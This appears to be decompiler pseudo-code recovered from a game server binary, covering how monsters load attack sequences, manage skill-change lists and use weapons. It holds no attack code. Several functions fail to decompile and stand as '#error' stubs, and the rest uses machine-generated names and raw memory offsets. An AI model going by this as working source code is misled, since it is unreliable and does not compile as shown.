(0047C210) -------------------------------------------------------- void __thiscall MobAttackSequence::mas_Append(MobAttackSequence *this, unsigned __int16 mobid) { int v2; // eax@4 if ( this->mas_MobNumber >= 0x190u ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Append : Too many element", this->mas_MobNumber); ShineExit("MagicContainer::mas_Append"); } this->mas_AttackPattern[this->mas_MobNumber].ae4m_BossMob = mobid; this->mas_AttackPattern[this->mas_MobNumber].ae4m_SequenceLength = 0; v2 = this->mas_MobNumber + 1; this->mas_MobNumber = v2; qsort((void *)this->mas_AttackPattern, v2, 0x4E0u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } //----- (0047C290) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ItemLotAnalyser::LotChanger *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ItemLotAnalyser::LotChanger *v5; // esi@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; *(_DWORD *)&ele->item = *(_DWORD *)&v5->item; ele->delta = v5->delta; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (0047C2E0) -------------------------------------------------------- #error "47C2E0: undefined or illegal type '#325' (funcsize=289)" //----- (0047C6A0) -------------------------------------------------------- void __thiscall MobAttackSequence::_MobAttackSequence(MobAttackSequence *this) { _eh_vector_destructor_iterator_( (void *)this->mas_AttackPattern, 0x4E0u, 400, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::_AttackElement4Mob); } //----- (0047C6C0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (0047C710) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0047C830) -------------------------------------------------------- void __thiscall MobAttackSequence::SkillChangeList::SkillChangeList(MobAttackSequence::SkillChangeList *this) { MobAttackSequence::SkillChangeList *v1; // esi@1 bool v2; // zf@1 ListStruct *v3; // eax@2 ListStruct *v4; // eax@5 ListStruct *v5; // eax@8 ListStruct *v6; // eax@11 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 4u); v2 = v1->baseclass_0.l_MaxSize == 0; v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; if ( !v2 ) { v3 = v1->baseclass_0.l_Array; if ( !v3->ls_Content ) v3->ls_Content = v1->scl_Array; } if ( v1->baseclass_0.l_MaxSize > 1u ) { v4 = v1->baseclass_0.l_Array; if ( !v4[1].ls_Content ) v4[1].ls_Content = &v1->scl_Array[1]; } if ( v1->baseclass_0.l_MaxSize > 2u ) { v5 = v1->baseclass_0.l_Array; if ( !v5[2].ls_Content ) v5[2].ls_Content = &v1->scl_Array[2]; } if ( v1->baseclass_0.l_MaxSize > 3u ) { v6 = v1->baseclass_0.l_Array; if ( !v6[3].ls_Content ) v6[3].ls_Content = &v1->scl_Array[3]; } } // 5BC0DC: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (0047C8B0) -------------------------------------------------------- void __thiscall MobAttackSequence::MobAttackSequence(MobAttackSequence *this) { MobAttackSequence *v1; // esi@1 int v2; // eax@1 signed int v3; // ecx@1 v1 = this; _eh_vector_constructor_iterator_( (void *)this->mas_AttackPattern, 0x4E0u, 400, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::AttackElement4Mob, (void (__thiscall *)(void *))MobAttackSequence::AttackElement4Mob::_AttackElement4Mob); v2 = (int)&v1->mas_AttackPattern[0].ae4m_OutOfRange; v3 = 400; do { *(_DWORD *)v2 = v2 - 168; *(_DWORD *)(v2 + 4) = v2 - 112; *(_DWORD *)(v2 + 8) = v2 - 56; *(_DWORD *)(v2 + 12) = v2 + 16; *(_BYTE *)(v2 + 72) = 0; v2 += 1248; --v3; } while ( v3 ); } //----- (0047C910) -------------------------------------------------------- void __thiscall MobAttackSequence::mas_Load(MobAttackSequence *this) { unsigned int v1; // eax@1 unsigned int v2; // ecx@1 signed int v3; // eax@4 int v4; // ebp@6 MobDataBox::MobDataBoxIndex *v5; // esi@7 unsigned __int16 v6; // ax@9 _iobuf *v7; // eax@15 int v8; // eax@17 int v9; // eax@18 unsigned __int16 v10; // di@23 MobAttackSequence *v11; // esi@23 MobAttackSequence::AttackElement4Mob *v12; // ebp@23 void *v13; // eax@27 const char *v14; // esi@27 char v15; // al@28 signed __int16 v16; // di@29 char *v17; // esi@31 int v18; // eax@31 unsigned int v19; // eax@34 int v20; // eax@37 unsigned __int16 v21; // si@40 MobAttackSequence::AttackElement4Mob *v22; // edi@40 int v23; // esi@43 int v24; // ebp@43 unsigned int v25; // eax@43 unsigned int v26; // ecx@43 MobAttackSequence::SkillChangeList *v27; // eax@45 void *v28; // eax@48 MobAttackSequence::SkillChangeList *v29; // ecx@52 MobAttackSequence::SkillChange *v30; // esi@53 ListVtbl *v31; // edx@54 void *v32; // edi@58 char *v33; // eax@58 int v34; // eax@58 MobAttackSequence::SkillChangeList *v35; // eax@61 void *v36; // eax@64 MobAttackSequence::SkillChangeList *v37; // ecx@68 MobAttackSequence::SkillChange *v38; // esi@69 ListVtbl *v39; // edx@70 void *v40; // edi@74 char *v41; // eax@74 int v42; // eax@74 MobAttackSequence::SkillChangeList *v43; // eax@77 void *v44; // eax@80 MobAttackSequence::SkillChangeList *v45; // ecx@84 ListVtbl *v46; // edx@86 unsigned __int16 v47; // di@87 void *v48; // ebp@90 char *v49; // esi@90 char v50; // al@90 char *v51; // eax@99 unsigned int v52; // eax@99 AbnormalStateDictionary::AbState::AbStateStr *v53; // esi@102 MobAttackSequence::SkillChangeList *v54; // eax@108 void *v55; // eax@111 MobAttackSequence::SkillChangeList *v56; // ecx@115 MobAttackSequence::SkillChange *v57; // esi@116 ListVtbl *v58; // edx@117 void *v59; // edi@121 char *v60; // eax@121 int v61; // eax@121 char *v62; // eax@122 ORToken v63; // [sp-30h] [bp-10A10h]@27 int v64; // [sp-2Ch] [bp-10A0Ch]@27 int v65; // [sp-28h] [bp-10A08h]@27 int v66; // [sp-24h] [bp-10A04h]@27 int v67; // [sp-20h] [bp-10A00h]@27 char *v68; // [sp-1Ch] [bp-109FCh]@27 int v69; // [sp-18h] [bp-109F8h]@27 int v70; // [sp-14h] [bp-109F4h]@27 int v71; // [sp-10h] [bp-109F0h]@15 MobAttackSequence::SkillChange *sc; // [sp+4h] [bp-109DCh]@17 int mob; // [sp+8h] [bp-109D8h]@6 int rec; // [sp+Ch] [bp-109D4h]@26 void *skillname; // [sp+10h] [bp-109D0h]@39 unsigned int pnt; // [sp+14h] [bp-109CCh]@1 MobAttackSequence *thisa; // [sp+18h] [bp-109C8h]@1 char Dest[4]; // [sp+1Ch] [bp-109C4h]@43 int v79; // [sp+20h] [bp-109C0h]@43 __int64 v80; // [sp+24h] [bp-109BCh]@43 int v81; // [sp+2Ch] [bp-109B4h]@43 int v82; // [sp+30h] [bp-109B0h]@93 int v83; // [sp+34h] [bp-109ACh]@93 int v84; // [sp+38h] [bp-109A8h]@93 int v85; // [sp+3Ch] [bp-109A4h]@93 int v86; // [sp+40h] [bp-109A0h]@93 int v87; // [sp+44h] [bp-1099Ch]@106 int v88; // [sp+48h] [bp-10998h]@106 __int64 v89; // [sp+4Ch] [bp-10994h]@106 int v90; // [sp+54h] [bp-1098Ch]@106 int v91; // [sp+58h] [bp-10988h]@59 int v92; // [sp+5Ch] [bp-10984h]@59 __int64 v93; // [sp+60h] [bp-10980h]@59 int v94; // [sp+68h] [bp-10978h]@59 int v95; // [sp+6Ch] [bp-10974h]@75 int v96; // [sp+70h] [bp-10970h]@75 __int64 v97; // [sp+74h] [bp-1096Ch]@75 int v98; // [sp+7Ch] [bp-10964h]@75 int type; // [sp+80h] [bp-10960h]@27 ORToken _; // [sp+84h] [bp-1095Ch]@43 char buf[33]; // [sp+98h] [bp-10948h]@58 char buffer[128]; // [sp+BCh] [bp-10924h]@15 char v103; // [sp+13Ch] [bp-108A4h]@122 OptionReader or; // [sp+17Ch] [bp-10864h]@16 unsigned int cookie; // [sp+109D0h] [bp-10h]@22 int v106; // [sp+109DCh] [bp-4h]@16 v1 = 0; thisa = this; v2 = mobdatabox.mdb_mobspacies; for ( pnt = 0; ; v1 = pnt ) { if ( v1 < v2 ) v3 = BinaryDataBox::operator__(&mobdatabox.mdb_BinData.mobinf, v1)->ID; else v3 = 65535; v4 = (unsigned __int16)v3; mob = v3; if ( (unsigned __int16)v3 <= mobdatabox.mdb_maxmobhandle ) { v5 = &mobdatabox.mdb_index[(unsigned __int16)v3]; if ( v5 ) { if ( v5->data ) { v6 = v5->data->ID; if ( v6 == (_WORD)mob ) goto LABEL_12; AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", v4, v6); } } } v5 = 0; LABEL_12: if ( v5 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Null inf", v4); ShineExit("MobAttackSequence::mas_Load"); } v71 = (int)v5->data->InxName; sprintf(buffer, "../9Data/Shine/MobAttackSequence/%s.txt"); v7 = fopen(buffer, "r"); if ( v7 ) { fclose(v7); OptionReader::OptionReader(&or); v106 = 0; if ( OptionReader::or_Read(&or, buffer) ) { v10 = mob; v11 = thisa; MobAttackSequence::mas_Append(thisa, mob); v12 = MobAttackSequence::mas_Find(v11, v10); if ( v12 == 0 ) { v71 = v11->mas_MobNumber; AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Insert error", v71); ShineExit("MagicContainer::mas_Load"); } for ( rec = 0; ; rec = v20 + 1 ) { v71 = (int)&type; v70 = 0; v69 = rec; v68 = "Order"; sc = (MobAttackSequence::SkillChange *)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "AttSeq", 0x14u); v13 = OptionReader::or_Select(&or, "Attack", v63, v68, v69, v70, (int *)v71); v14 = (const char *)v13; if ( !v13 ) break; v15 = *(_BYTE *)v13; if ( *v14 == 45 ) { v16 = -1; } else { if ( v15 == 42 ) { v17 = (char *)(v14 + 1); v16 = -1; strncmp(v17, "RepeatStart", 0x20u); if ( v18 ) AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid Command", v17); else v12->ae4m_StartIndex = rec + 1; } else { v19 = BTree::operator__(&skillnametree, v14); v16 = v19; if ( v19 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Null skill", v14); ShineExit("MagicContainer::mas_Load"); } } } v20 = rec; v12->ae4m_skillID[v12->ae4m_SequenceLength++] = v16; } rec = 0; while ( 1 ) { v71 = rec; sc = (MobAttackSequence::SkillChange *)&v66; v70 = 0; v69 = 0; v68 = 0; v67 = 0; v66 = 0; strncpy((char *)&v66, "SkillChange", 0x14u); skillname = OptionReader::or_SelectFromOrder(&or, *(ORToken *)&v66, v71); if ( !skillname ) break; v21 = mob; v22 = MobAttackSequence::mas_Find(thisa, mob); if ( v22 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : SkillExchange Error", v21); ShineExit("MagicContainer::mas_Load"); } v23 = *(_DWORD *)skillname; v24 = *((_DWORD *)skillname + 1); v25 = *((_DWORD *)skillname + 3); v26 = *((_DWORD *)skillname + 4); *(_DWORD *)&_.ort_Name[8] = *((_DWORD *)skillname + 2); *(_QWORD *)&_.ort_Name[12] = __PAIR__(v26, v25); v81 = 0; v80 = 0i64; v79 = 0; *(_DWORD *)Dest = 0; strncpy(Dest, "OutOfRange", 0x14u); if ( v23 != *(_DWORD *)Dest || v24 != v79 || (HIWORD(v27) = *(_WORD *)&_.ort_Name[10], *(_QWORD *)&_.ort_Name[8] != v80) || *(_DWORD *)&_.ort_Name[16] != v81 ) { v94 = 0; v93 = 0i64; v92 = 0; v91 = 0; strncpy((char *)&v91, "HPLow", 0x14u); if ( v23 != v91 || v24 != v92 || (HIWORD(v35) = *(_WORD *)&_.ort_Name[10], *(_QWORD *)&_.ort_Name[8] != v93) || *(_DWORD *)&_.ort_Name[16] != v94 ) { v98 = 0; v97 = 0i64; v96 = 0; v95 = 0; strncpy((char *)&v95, "TargetState", 0x14u); if ( v23 != v95 || v24 != v96 || (HIWORD(v43) = *(_WORD *)&_.ort_Name[10], *(_QWORD *)&_.ort_Name[8] != v97) || *(_DWORD *)&_.ort_Name[16] != v98 ) { v90 = 0; v89 = 0i64; v88 = 0; v87 = 0; strncpy((char *)&v87, "NextSkill", 0x14u); if ( v23 != v87 || v24 != v88 || (HIWORD(v54) = *(_WORD *)&_.ort_Name[10], *(_QWORD *)&_.ort_Name[8] != v89) || *(_DWORD *)&_.ort_Name[16] != v90 ) { v62 = ORToken::ort_GetString((ORToken *)skillname, &v103); AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid condition", v62); ShineExit("MobAttackSequence::mas_Load"); } if ( !v22->ae4m_SaveNextSkill ) { v55 = operator new(0x38u); sc = (MobAttackSequence::SkillChange *)v55; LOBYTE(v106) = 4; if ( v55 ) MobAttackSequence::SkillChangeList::SkillChangeList(v54); else v54 = 0; LOBYTE(v106) = 0; v22->ae4m_SaveNextSkill = v54; } v56 = v22->ae4m_SaveNextSkill; LOWORD(v54) = v56->baseclass_0.l_Finger.empty; if ( (_WORD)v54 == -1 ) { v57 = 0; } else { v58 = v56->baseclass_0.vfptr; v71 = (int)v54; v57 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v58->l_AllocZ)(v54); } if ( v57 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v59 = skillname; v60 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v61 = atoi(v60); MobAttackSequence::SkillChange::sc_Store(v57, (char *)v59 + 40, (char *)v59 + 73, v61); ++rec; } else { if ( !v22->ae4m_TargetState ) { v44 = operator new(0x38u); sc = (MobAttackSequence::SkillChange *)v44; LOBYTE(v106) = 3; if ( v44 ) MobAttackSequence::SkillChangeList::SkillChangeList(v43); else v43 = 0; LOBYTE(v106) = 0; v22->ae4m_TargetState = v43; } v45 = v22->ae4m_TargetState; LOWORD(v43) = v45->baseclass_0.l_Finger.empty; if ( (_WORD)v43 == -1 ) { sc = 0; } else { v46 = v45->baseclass_0.vfptr; v71 = (int)v43; sc = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v46->l_AllocZ)(v43); } v47 = mob; if ( sc == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v48 = skillname; v49 = (char *)skillname + 20; v50 = ORToken::ort_IsNull((ORToken *)skillname + 1); skillname = (void *)(v50 == 0); if ( v50 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v86 = 0; v85 = 0; v84 = 0; v83 = 0; v82 = 0; strncpy( (char *)&v82, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( *(_DWORD *)v49 != v82 || *((_DWORD *)v49 + 1) != v83 || *((_DWORD *)v49 + 2) != v84 || *((_DWORD *)v49 + 3) != v85 || *((_DWORD *)v49 + 4) != v86 ) { v51 = ORToken::ort_GetString((ORToken *)v49, buf); v52 = BTree::operator__(&unk_6158F0, v51); if ( v52 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v53 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v52); if ( v53 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v71 = v53->index->AbStataIndex; MobAttackSequence::SkillChange::sc_Store(sc, (char *)v48 + 40, (char *)v48 + 73, v71); ++rec; } else { MobAttackSequence::SkillChange::sc_Store(sc, (char *)v48 + 40, (char *)v48 + 73, 0xFFFFu); ++rec; } } } else { if ( !v22->ae4m_HPLow ) { v36 = operator new(0x38u); sc = (MobAttackSequence::SkillChange *)v36; LOBYTE(v106) = 2; if ( v36 ) MobAttackSequence::SkillChangeList::SkillChangeList(v35); else v35 = 0; LOBYTE(v106) = 0; v22->ae4m_HPLow = v35; } v37 = v22->ae4m_HPLow; LOWORD(v35) = v37->baseclass_0.l_Finger.empty; if ( (_WORD)v35 == -1 ) { v38 = 0; } else { v39 = v37->baseclass_0.vfptr; v71 = (int)v35; v38 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v39->l_AllocZ)(v35); } if ( v38 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v40 = skillname; v41 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v42 = atoi(v41); MobAttackSequence::SkillChange::sc_Store(v38, (char *)v40 + 40, (char *)v40 + 73, v42); ++rec; } } else { if ( !v22->ae4m_OutOfRange ) { v28 = operator new(0x38u); sc = (MobAttackSequence::SkillChange *)v28; LOBYTE(v106) = 1; if ( v28 ) MobAttackSequence::SkillChangeList::SkillChangeList(v27); else v27 = 0; LOBYTE(v106) = 0; v22->ae4m_OutOfRange = v27; } v29 = v22->ae4m_OutOfRange; LOWORD(v27) = v29->baseclass_0.l_Finger.empty; if ( (_WORD)v27 == -1 ) { v30 = 0; } else { v31 = v29->baseclass_0.vfptr; v71 = (int)v27; v30 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v31->l_AllocZ)(v27); } if ( v30 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v32 = skillname; v33 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v34 = atoi(v33); MobAttackSequence::SkillChange::sc_Store(v30, (char *)v32 + 40, (char *)v32 + 73, v34); ++rec; } } } else { v8 = OptionReader::or_ErrorLine(&or); sc = (MobAttackSequence::SkillChange *)(v8 == 0); if ( v8 != 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Option read error", buffer); v9 = OptionReader::or_ErrorLine(&or); AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load", v9); ShineExit("MagicContainer::mas_Load"); } } v106 = -1; OptionReader::_OptionReader(&or); } v2 = mobdatabox.mdb_mobspacies; ++pnt; if ( pnt >= mobdatabox.mdb_mobspacies ) break; } __security_check_cookie(cookie); } //----- (0047D320) -------------------------------------------------------- void __thiscall FieldMap::fm_FindWayInit(int this) { CFindWay::SetLoadedData( &findway, *(_DWORD *)(*(_DWORD *)(this + 20) + 28), *(_DWORD *)(*(_DWORD *)(this + 20) + 32), *(char **)(*(_DWORD *)(this + 20) + 20)); } //----- (0047D340) -------------------------------------------------------- void __thiscall MobActionElement::MobActionElement(MobActionElement *this) { this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; } // 5B8954: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (0047D350) -------------------------------------------------------- void __thiscall MobActionElement::_MobActionElement(MobActionElement *this) { this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; } // 5B8954: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (0047D360) -------------------------------------------------------- void __thiscall MobTargetStruct::MobTargetStruct(MobTargetStruct *this) { SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&this->mts_EnemyAnalyzer); } //----- (0047D370) -------------------------------------------------------- #error "47D370: undefined or illegal type '#325' (funcsize=13)" //----- (0047D3A0) -------------------------------------------------------- void __thiscall MobTargetEraser::_MobTargetEraser(MobTargetEraser *this) { SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(&this->mte_EmptyTarget.mts_EnemyAnalyzer); } //----- (0047D3B0) -------------------------------------------------------- void __thiscall MobTargetSelector::MobTargetSelector(MobTargetSelector *this) { MobTargetSelector *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetSelector::_vftable_; } // 5B8968: using guessed type int (__stdcall *MobTargetSelector___vftable_)(int type, int slot, int distancesquar); //----- (0047D3D0) -------------------------------------------------------- void __thiscall MobTargetSelector::_MobTargetSelector(MobTargetSelector *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetSelector::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5B8968: using guessed type int (__stdcall *MobTargetSelector___vftable_)(int type, int slot, int distancesquar); //----- (0047D3E0) -------------------------------------------------------- char __thiscall MobTargetAggresive::IsIgnoreLevelGap(MobTargetAggresive *this, char Left, char Right) { return (unsigned __int8)Left - (unsigned __int8)Right > 10; } //----- (0047D400) -------------------------------------------------------- #error "47D400: undefined or illegal type '#325' (funcsize=19)" //----- (0047D440) -------------------------------------------------------- #error "47D440: undefined or illegal type '#325' (funcsize=45)" //----- (0047D4C0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_IsPreventAttack(int this) { return *(_BYTE *)(this + 92278); } //----- (0047D4D0) -------------------------------------------------------- #error "47D4D0: undefined or illegal type '#325' (funcsize=7)" //----- (0047D4F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_CurSelectWeapon(int this) { return *(_DWORD *)(this + 7560); } //----- (0047D500) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_SelectWeapon(#325 *this, #325 *a2, char next) { return -1; } //----- (0047D510) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_PrepareWeapon(int this, int MaxWC, int MinWC, unsigned __int16 TH, int MaxMA, int MinMA, unsigned __int16 MH) { int result; // eax@1 *(_DWORD *)(this + 4224) = MaxWC; *(_DWORD *)(this + 4220) = MinWC; *(_DWORD *)(this + 4244) = MaxMA; *(_DWORD *)(this + 4232) = TH; result = MinMA; *(_DWORD *)(this + 4240) = MinMA; *(_DWORD *)(this + 4252) = MH; return result; } //----- (0047D560) -------------------------------------------------------- void *__thiscall MobActionElement::_vector_deleting_destructor_(MobActionElement *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5B8954: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (0047D580) -------------------------------------------------------- void *__thiscall MobTargetSelector::_scalar_deleting_destructor_(MobTargetSelector *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetSelector::_MobTargetSelector(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0047D5A0) -------------------------------------------------------- #error "47D5A0: undefined or illegal type '#325' (funcsize=144)" //----- (0047D780) -------------------------------------------------------- #error "47D780: undefined or illegal type '#325' (funcsize=23)" //----- (0047D7C0) -------------------------------------------------------- MobActionElement *__thiscall MobActionElement::mae_Action(MobActionElement *this, unsigned __int16 hnd, MobBrainStruct *mob) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobActionElement::mae_Action"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobActionElement::mae_Action"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobActionElement::mae_Action"); return &ShineObjectClass::ShineMob::defaction; } //----- (0047D810) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_UseWeapon(void *this, int a2) { int v2; // esi@1 int v3; // edx@1 int v4; // edi@3 int v5; // eax@3 unsigned __int16 v6; // bx@3 int v7; // ST20_4@3 int v8; // ST1C_4@3 unsigned __int16 v9; // ST18_2@3 int v10; // ebp@3 int v11; // edi@5 int v12; // ecx@11 int v13; // eax@14 char *v14; // [sp-Ch] [bp-28h]@2 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_UseWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_UseWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)(v2 + 7560); if ( v3 >= 0 ) { v4 = *(_DWORD *)(v2 + 7536); *(_BYTE *)(v2 + 7368) &= 0xFDu; v5 = *(_DWORD *)(12 * v3 + *(_DWORD *)(v4 + 8)); v6 = *(_WORD *)(v5 + 105); v7 = *(_DWORD *)(v5 + 97); v8 = *(_DWORD *)(v5 + 101); v9 = *(_WORD *)(v5 + 95); v10 = *(_DWORD *)(v5 + 87); *(_DWORD *)(v2 + 4224) = *(_DWORD *)(v5 + 91); *(_DWORD *)(v2 + 4232) = v9; *(_DWORD *)(v2 + 4244) = v8; *(_DWORD *)(v2 + 4240) = v7; *(_DWORD *)(v2 + 4220) = v10; *(_DWORD *)(v2 + 4252) = v6; if ( !v3 ) { ShineObjectClass::ShineMobileObject::smo_SwingStart((void *)v2, a2); MobChat::MobChatManager::mcm_AttackChat(&mobchatman); LABEL_14: v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1304))(v2); List::l_4AllInList( (List *)(v13 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); goto LABEL_15; } v11 = (int)SkillDataBox::operator__(&skilldatabox, *(_WORD *)(*(_DWORD *)(v4 + 8) + 12 * v3 + 4)); if ( v11 != 0 ) { if ( (unsigned int)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1240))(v2) >= *(_DWORD *)(*(_DWORD *)(v11 + 4) + 160) ) { if ( *(_BYTE *)(v11 + 256) ) *(_BYTE *)(v2 + 7368) |= 2u; v12 = v2; if ( *(_DWORD *)(*(_DWORD *)(v11 + 4) + 172) != 1 ) v12 = a2; ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting( (void *)v2, v11, v12, 0, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 7536) + 8) + 12 * *(_DWORD *)(v2 + 7560)) + 75)); goto LABEL_14; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::sm_UseWeapon : Minus sp", 0); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::sm_UseWeapon : Null skill", 0); } LABEL_15: v14 = "ShineObjectClass::ShineMob::sm_UseWeapon"; goto LABEL_16; } v14 = "ShineObjectClass::ShineMob::sm_UseWeapon"; LABEL_16: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (0047DA10) -------------------------------------------------------- int __thiscall MobTargetStruct::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); return result; } //----- (0047DA50) 